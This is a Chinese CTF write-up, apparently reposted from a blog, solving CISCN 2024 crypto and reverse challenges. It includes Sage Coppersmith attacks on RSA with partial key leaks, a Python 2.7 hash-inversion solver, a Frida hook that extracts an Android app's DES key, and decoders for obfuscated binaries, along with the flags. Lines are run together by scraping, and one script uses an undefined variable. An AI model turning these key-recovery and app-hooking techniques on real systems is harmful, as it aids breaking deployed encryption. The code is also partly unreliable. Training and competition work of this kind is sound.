print('n =', n)print('c =', c)print('h =', h)print('p0 =', p >> 490)
# n = 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793# c = 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833# h = 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806# p0 = 4055618题目分析：已知：
现在的重点是small_roots()里面的参数要怎么设置先来点前置知识（怕自己又忘了）：
在方程F(x)，模数N确认的情况下，我们可以通过增加 β \betaβ 的取值或减小 ϵ \epsilonϵ 的取值，使得X取到更优的上界。
现在，已知d = 2，beta = 1，X有500位未知，我们取epsilon = 0.01是完成能够得到结果的，但我们也知道epsilon越小，耗时越长，我们试着把epsilon调大一点，让epsilon = 0.02，看看能否出结果。经过测试也是能出结果的，那么就用它啦把x_diff求出来了，后面就简单了，这也就不多说了from Crypto.Util.number import long_to_bytesN = 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793c = 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833h = 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806p0 = 4055618
p_high = p0 << 490x0 = 2021 * p_high + 1120 * (N // p_high)
P.<x_diff> = PolynomialRing(Zmod(N))f = (x0 + x_diff)^2 + 1 - h * (x0 + x_diff)
res = f.small_roots(X = 2^500, epsilon = 0.02)x_diff = Integer(res[0])
x = x0 + x_diff
p = var('p')q = var('q')res = solve([x == 2021 * p + 1120 * q, N == p * q], p, q)print(res)p = Integer(res[0][0].rhs()) # 提取等号右边部分q = Integer(res[0][1].rhs())
d = inverse_mod(65537, (p - 1) * (q - 1))print(long_to_bytes(int(pow(c,d,N))))进入主题
国赛ez_rsa
题目描述：
(就截取这么一点点了）n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81e = 65537inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116ddqlow = 0x8f2363b340e5
题目分析：
方式1
解方程的过程和上题的思路应该来说是一样的这里也是d = 2，beta = 1，所以关键部分还是落在了epsilon 的取值上，这个就自己去生成数据测一测，从0.05往上加，发现到0.09以后解集为空，那么设置成0.09就行from Crypto.Util.number import *from tqdm import *
n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81e = 0x010001dqlow = 0x8f2363b340e5inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116dc = 55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989bits = 48
PR.<x> = PolynomialRing(Zmod(n))dq = (2 ^ bits * x) + dqlow# k = 47794for k in trange(e,1,-1): f = inv * (e * (2 ^ bits * x + dqlow) - 1 + k) ^ 2 - k * (e * (2 ^ T * x + dqlow) - 1 + k) f = f.monic() root = f.small_roots(X=2 ^ (512 - bits), epsilon = 0.09) if root: dq = int(root[0]) * 2 ** bits + dqlow q = int((e * dq - 1) // k + 1) p = int(n // q) phi = (p - 1) * (q - 1) d = inverse_mod(e,phi) print(long_to_bytes(int(pow(c,d,n)))) break
from Crypto.Util.number import long_to_bytes
方式2
from tqdm import *from Crypto.Util.number import *n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116dc = 55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989dq_low = 0x8f2363b340e5q_low = []bits = 48e = 65537qq = var('qq')PR.<x> = PolynomialRing(Zmod(n))# k = 47794for k in trange(e,1,-1): k = 47794 q0 = solve_mod([e * dq_low == k * qq - k + 1], 2^bits) for i in q0: f = inv * (2 ^ bits * x + int(i[0])) ^ 2 - (2 ^ bits * x + int(i[0])) f = f.monic() root = f.small_roots(X = 2^(512-bits), epsilon = 0.09) if root: q = 2^bits * int(root[0]) + int(i[0]) p = n // q d = inverse_mod(e,(p - 1) * (q - 1)) print(long_to_bytes(int(pow(c,d,n)))) break # flag{df4a4054-23eb-4ba4-be5e-15b247d7b819}
5.hash
题目描述你能仅仅通过一个Python2.7自带的hash函数的输出，计算出它的原象的sha384哈希值吗？解题思路将压缩包解压后，含有两个文件，分别是 hash.py 、 output.txt 。hash.py#!/usr/bin/python2# Python 2.7 (64-bit version)from secret import flagimport os, binascii, hashlibkey = os.urandom(7)print hash(key)print int(hashlib.sha384(binascii.hexlify(key)).hexdigest(), 16) ^ int(binascii.hexlify(flag), 16)output.txt745731258330110123513903983817893117249931704406959869971132956255130487015289848690577655239262013033618370827749581909492660806312017output.txt 的两行数据分别是 hash.py 中的两行输出。根据源代码逻辑，可以知道首要问题是如何将 k e y keykey 的密文，解密出原文。通过查询 python2.7 的内置 hash 函数，可以搜索到相关信息：python3 中的 hash 函数相对于 python2 ，不同在于 python3 中会对要加密的字符串的运算添加 prefix 和 suffix ，而 python2 默认不会添加。通过 github 上 python2.7 开源代码，找到 python2.7 中 str 类型的 hash 计算源码，部分代码如下：static longstring_hash(PyStringObject *a){ register Py_ssize_t len; register unsigned char *p; register long x;#ifdef Py_DEBUG assert(_Py_HashSecret_Initialized);#endif if (a->ob_shash != -1) return a->ob_shash; len = Py_SIZE(a); /* We make the hash of the empty string be 0, rather than using (prefix ^ suffix), since this slightly obfuscates the hash secret */ if (len == 0) { a->ob_shash = 0; return 0; } p = (unsigned char *) a->ob_sval; x = _Py_HashSecret.prefix; x ^= *p << 7; while (--len >= 0) x = (1000003*x) ^ *p++; x ^= Py_SIZE(a); x ^= _Py_HashSecret.suffix; if (x == -1) x = -2; a->ob_shash = x; return x;}将其逻辑再编写成一个简易的函数方便测试，代码如下：ll h(char *s, ll len) { ll res = 0; res ^= (s[0] << 7LL); for(int i = 0; i < len; ++i) { res = (res * 1000003ull) ^ (unsigned )s[i]; } res ^= len; return res;}现在进行解密算法的寻找，可以解密关键在于将表达式
解密代码如下：vector<unsigned> uh(ull d) { d ^= 7; ull res = d; for(ull i7 = 0; i7 < 256u; ++i7) for(ull i6 = 0; i6 < 256u; ++i6) for(ull i5 = 0; i5 < 256u; ++i5) { ull res_6 = (res ^ i7) * iv; //iv 是1000003在模数2^64下的逆元 ull res_5 = (res_6 ^ i6) * iv; ull res_4 = (res_5 ^ i5) * iv; vector<int> a(3); a[0] = i7; a[1] = i6; a[2] = i5; Hashmap[res_4] = a; }for(ull i1 = 0; i1 < 256u; ++i1) for(ull i2 = 0; i2 < 256u; ++i2) for(ull i3 = 0; i3 < 256u; ++i3) for(ull i4 = 0; i4 < 256u; ++i4) { ull res_1 = ((i1 << 7) * v) ^ i1; //v 是1000003 ull res_2 = (res_1 * v) ^ i2; ull res_3 = (res_2 * v) ^ i3; ull res_4 = (res_3 * v) ^ i4; if(Hashmap.find(res_4)!=Hashmap.end()){ return vector<unsigned>{i1,i2,i3,i4,Hashmap[res_4][2], Hashmap[res_4][1], Hashmap[res_4][0]}; } }}具体公式推导涉及同余方程、逆元等知识。代码运行完毕得到密文的 ascii 为 93 140 240 63 90 8 82key = ']\x8c\xf0?Z\x08R'pre = int(hashlib.sha384(binascii.hexlify(key)).hexdigest(), 16)ans = 13903983817893117249931704406959869971132956255130487015289848690577655239262013033618370827749581909492660806312017flag = ans ^ preflag = hex(flag)print flagflag 的16进制为 666c61677b62646235333761612d383765662d346539352d626561342d3266373932353962646430377d使用在线16进制转字符网站计算，得到 flag 原文为 flag{bdb537aa-87ef-4e95-bea4-2f79259bdd07}
四、Reverse
1、asm_re
下载得到txt文件，打开发现是ida跑出来的arm的汇编代码，再结合题目名称，这题应该是要读汇编代码了
找到关键部分，整理一下
数据存在__const段里，注意小端法提取一下
然后就可以脚本解出了exp：decodechr=''flag=''enc=[0x1fd7,0x21b7,0x1e47,0x2027,0x26e7,0x10d7,0x1127,0x2007,0x11c7,0x1e47,0x1017,0x1017,0x11f7,0x2007,0x1037,0x1107,0x1f17,0x10d7,0x1017,0x1017,0x1f67,0x1017,0x11c7,0x11c7,0x1017,0x1fd7,0x1f17,0x1107,0x0f47,0x1127,0x1037,0x1e47,0x1037,0x1fd7,0x1107,0x1fd7,0x1107,0x2787]for i in enc: decodechr=chr((((i-0x1e)^0x4d)-0x14) // 0x50) flag+=decodechrprint((flag))'运行运行拿到：flag{67e9a228e45b622c2992fb5174a4f5f5}2、androidso_re
用jadx打开，定位到mainactivity
使用函数legal进行了判断，函数里使用了方法inspect，查看一下
这里关键的两个参数就是key和iv，解压安装包看看so
直接hookfunction main() { Java.perform(function () { Java.enumerateClassLoaders({ onMatch: function (loader) { try { var factory = Java.ClassFactory.get(loader); var CheckerClass = factory.use("com.example.re11113.inspect"); var key = CheckerClass.getKey(); console.log("Key: " + key); } catch (e) { // console.log("Error accessing class or method: " + e); } }, onComplete: function () {} }); }); } setTimeout(main,1000); package ciscn;import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.nio.charset.StandardCharsets;import java.util.Arrays;import java.util.Base64; public class FlagDecryptor { private static final String ALGORITHM = "DES/CBC/PKCS5Padding"; private static final String CHARSET = StandardCharsets.UTF_8.name(); public static void main(String[] args) { try { String encryptedFlag = "JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw=="; String decryptedString = decryptFlag(encryptedFlag); System.out.println("Decrypted string: " + decryptedString); } catch (Exception e) { System.err.println("Decryption failed: " + e.getMessage()); } } private static String decryptFlag(String encryptedFlag) throws Exception { byte[] keyBytes = JniUtils.getKey().getBytes(CHARSET); byte[] ivBytes = JniUtils.getIv().getBytes(CHARSET); SecretKeySpec key = new SecretKeySpec(Arrays.copyOf(keyBytes, 8), "DES"); IvParameterSpec iv = new IvParameterSpec(ivBytes); Cipher cipher = Cipher.getInstance(ALGORITHM); cipher.init(Cipher.DECRYPT_MODE, key, iv); byte[] encryptedBytes = Base64.getDecoder().decode(encryptedFlag); byte[] decryptedBytes = cipher.doFinal(encryptedBytes); return new String(decryptedBytes, CHARSET); } static class JniUtils { public static String getKey() { return "A8UdWaeq"; } public static String getIv() { return "Wf3DLups"; } }}
flag{188cba3a5c0fbb2250b5a2e590c391ce}
3、whereThel1b
打开py文件
逻辑很清晰，主要的加密内容肯定是在so文件里面
这个文件有很强的python编译特征，可以考虑进行反编译
特征函数，编写exp：import base64import random random.seed(0) encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]keys = [random.randint(0, len(encry)) for _ in range(len(encry))]flag = [k ^ e for k, e in zip(keys, encry)]decoded_flag = base64.b64decode(''.join(map(chr, flag)).encode()).decode() print(decoded_flag)'运行运行 flag{7f9a2d3c-07de-11ef-be5e-cf1e88674c0b}
4.gdb_debug
用IDA反编译，定位main函数，可以发现程序逻辑为：
输入str，将str每一个字符异或一个随机数，得到str2
定义str3，随机交换洗牌，得到一个0-38的随机不重复的序列
根据str3，得到str4，使得str4[i]=str2[str[3]]
将str4每一个字符异或一个随机数
根据str4，得到s1,使得s1[i]=str4[i]^byte_5636B30010A0，其中byte_5636B30010A0固定且已给出
将s1与s2作对比，若相同，则输入flag正确，其中s2为"congratulationstoyoucongratulationstoy"
这个程序的特性在于，在置随机数种子时，使用的是当前时间按位与0xF0000000的结果为种子，使得种子在很长一段时间执行时都相同。
基于此，我们可以提前求出要用到的随机数（要在Linux系统上运行，与Win的rand()逻辑不同）：
srand(((int)time(0))& 0xF0000000);char rand1[38];unsigned int rand2[38],rand3[38];for(int i=0;i<len;i++){ rand1[i] = rand(); // cout << (unsigned int)(rand1[i]&0xff) << " ";}for(int i=len-1;i;--i){ rand2[i] = rand()%(i+1); // cout << (unsigned int)(rand2[i]&0xff) << " ";}for(int i=0;i<len;i++){ rand3[i] = rand();}然后根据上面所述步骤，反过来计算一遍，完整代码如下：# Run in linux#include <iostream>#include <cstdio>#include <cstdlib>#include <cstring>#include <cctype>#include <cmath>#include <vector>#include <algorithm>#include <stack>#include <set>#include <map>#include <ctime>#include <unistd.h>#include "defs.h"// #include <bits/stdc++.h>
using namespace std;typedef long long LL;typedef long double DD;
int main(){ srand(((int)time(0))& 0xF0000000); char s2[] = "congratulationstoyoucongratulationstoy"; unsigned char byte_10A0[] = { 0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88, 0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D, 0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78, 0x00, 0x00 }; char rand1[38]; unsigned int rand2[38],rand3[38]; int len = strlen(s2); cout << "len:" << len << endl; for(int i=0;i<len;i++) { rand1[i] = rand(); // cout << (unsigned int)(rand1[i]&0xff) << " "; } for(int i=len-1;i;--i) { rand2[i] = rand()%(i+1); // cout << (unsigned int)(rand2[i]&0xff) << " "; } for(int i=0;i<len;i++) { rand3[i] = rand(); } for(int i=0;i<len;i++) { s2[i] ^= byte_10A0[i]; }
for(int i=0;i<len;i++) { s2[i] ^= rand3[i]; }
int str3[39]; for(int i=0;i<len;i++) { str3[i] = i; }
for(int i=len-1;i;--i) { int temp = str3[i]; str3[i] = str3[rand2[i]]; str3[rand2[i]] = temp; }
//s2[i]=str2[str3[i]]; char str2[39] = {0}; for(int i=0;i<len;i++) { str2[str3[i]] = s2[i]; } for(int i=0;i<len;i++) { str2[i] ^= rand1[i]; } cout << str2; return 0; //-22 61 13 92}在Linux上运行，得到flag：
附件题目地址：链接: https://pan.baidu.com/s/1q-SEU_4WnD9o2ZUn9b6tDw 提取码: jdur
参考转自原文连接地址：https://blog.csdn.net/CHTXRT/article/details/139051214https://blog.csdn.net/uuzeray/article/details/139052904
https://xz.aliyun.com/t/14556https://blog.csdn.net/weixin_62467741/article/details/139122071 https://blog.csdn.net/CHTXRT/article/details/139051214https://blog.csdn.net/Jayjay___/article/details/139047540 https://blog.csdn.net/Myon5/article/details/139046502
https://blog.csdn.net/XiongSiqi_blog/article/details/139064568 https://blog.csdn.net/althumi/article/details/139077709 标签：__,ciscn,2024,flag,key,WP,print,import,data From： https://www.cnblogs.com/backlion/p/18447431